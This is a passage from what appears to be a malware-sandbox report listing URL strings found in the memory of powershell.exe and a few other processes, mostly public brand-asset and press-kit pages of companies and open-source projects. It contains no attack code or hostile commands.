Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://socket.io
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sonarcloud.io/about
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sonarcloud.io/about0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://songoda.com/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://songoda.com/brandingD
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://soundcloud.com/press
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://soundcloud.com/pressC
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourceforge.net/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourceforge.net/Y
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spdx.org/Resources
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://speakerdeck.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://speakerdeck.com/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spectrum.chat
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spinrilla.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spinrilla.com$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spond.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spond.com/e
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spring.io/projects
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spring.io/trademarks
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://squareup.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://squareup.com/.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/?
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.design/brand/logo/D
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackshare.io/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stadia.google.com/home
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staffbase.com/en/about/press-assets/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://staffbase.com/en/about/press-assets/&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starbucks.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starbucks.com/7
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://starship.rs/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statamic.com/branding
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statamic.com/brandingA
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statuspal.io/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statuspal.io/A
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamdb.info/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamdb.info/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steem.com/brand/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steemit.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steemit.com/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stimulus.hotwire.dev/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stimulus.hotwire.dev/-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://strapi.io/newsroom
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://strapi.io/newsroomW
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stripe.com/about/resources
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stripe.com/about/resources3
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://styleguide.torproject.org/brand-assets/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://styleguide.torproject.org/brand-assets/A
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://styleguide.torproject.org/brand-assets/F
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://suckless.org
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://suckless.orgM
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.siasky.net/key-concepts/skynet-brand-guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.siasky.net/key-concepts/skynet-brand-guidelines7
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swagger.io/swagger/media/assets/images/swagger_logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swagger.io/swagger/media/assets/images/swagger_logo.svg.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swiperjs.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swiperjs.com/J
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symfony.com/logo
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symfony.com/logo$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symphony.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://symphony.com/~
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tails.boum.org/contribute/how/promote/material/logo/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tails.boum.org/contribute/how/promote/material/logo/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tailwindcss.com/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tailwindcss.com/brand)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tapas.io/site/about#media
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tapas.io/site/about#media$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasmota.github.io/docs/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasmota.github.io/docs/L
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://techblog.steelseries.com/ux-guide/index.html
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://techblog.steelseries.com/ux-guide/index.html$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teespring.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegra.ph/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teratail.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://teratail.com//
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://testing-library.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://textpattern.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://textpattern.com/J
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://theconversation.com/republishing-guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://theconversation.com/republishing-guidelines1
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themighty.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themighty.com/:
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://threema.ch/en/press
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tidal.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tidal.com(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com&
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tinyletter.com/site/press/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tinyletter.com/site/press/(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toggl.com/media-toolkit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toggl.com/media-toolkitC
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/9/90/X.Org_Logo.svg8
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wish.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wistia.com/about/assets
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wistia.com/about/assets0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wizzair.com/en-gb/information-and-services/about-us/press-office/logosH
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/1
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://woocommerce.com/style-guide/6
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/about/logos
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/about/logos-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wp-rocket.me/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wp-rocket.me/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wpuser.com/brand-assets/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wpuser.com/brand-assets/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://write.as/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://write.as/brandF
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.alibabagroup.com/en/ir/reports
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.alibabagroup.com/en/ir/reports-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apachefriends.org/en/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apachefriends.org/en/.
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/company/news/press-kit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/company/news/press-kit%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.audiokinetic.com/resources/credits/
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000004.00000002.2551812325.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.2751171633.0000000004AFE000.00000004.00000800.00020000.00000000.sdmp, SearchIndexer.exe, 00000009.00000002.2785914106.000000000488F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hashicorp.com/brand
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.irishtimes.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jetbrains.com/company/brand/logos/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jetbrains.com/company/brand/logos/=
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lenovo.com/us/en/thinkpad
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.lenovo.com/us/en/thinkpadn
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mi.com/global
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mi.com/global#
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.models-resource.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.models-resource.com/K
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: powershell.exe, 00000000.00000002.2445428097.000001D880C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skillshare.com
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skillshare.comJ
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skyliner.io/help
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skyliner.io/helpL
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.skysports.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slickpic.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slickpic.com/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.slideshare.net/ss/creators/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smart.com/gb/en/models/eq-fortwo-coupe
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smart.com/gb/en/models/eq-fortwo-coupe7
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smartthings.com/press-kit
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smartthings.com/press-kitR
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smashingmagazine.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.smashingmagazine.com/G
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snapchat.com/brand-guidelines
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snapchat.com/brand-guidelines=
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowflake.com/brand-guidelines/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowflake.com/brand-guidelines/(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowpack.dev/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.snowpack.dev/$
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sogou.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sogou.com/G
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sololearn.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarlint.org/logos/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarlint.org/logos/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarqube.org/logos/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarqube.org/logos/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarsource.com/logos/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonarsource.com/logos/:
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.songkick.com/style-guide/design
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonos.com/en-gb/home
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sonos.com/en-gb/home-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sounds-resource.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.southwest.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.southwest.com/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spacex.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkasse.de/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkasse.de/4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkfun.com/brand_assets
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkfun.com/brand_assets4
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkpost.com/press-kit/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sparkpost.com/press-kit/%
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.speedtest.net/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.speedtest.net/Z
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.splunk.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spotlight.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spotlight.com/-
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreadshirt.ie/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreadshirt.ie/(
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreaker.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreaker.com/)
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spri.ng/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spri.ng/0
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spriters-resource.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spriters-resource.com/N
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spyder-ide.org/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spyder-ide.org/m
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.square-enix.com/
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.square-enix.com/=
Source: powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.squarespace.com/logo-guidelines
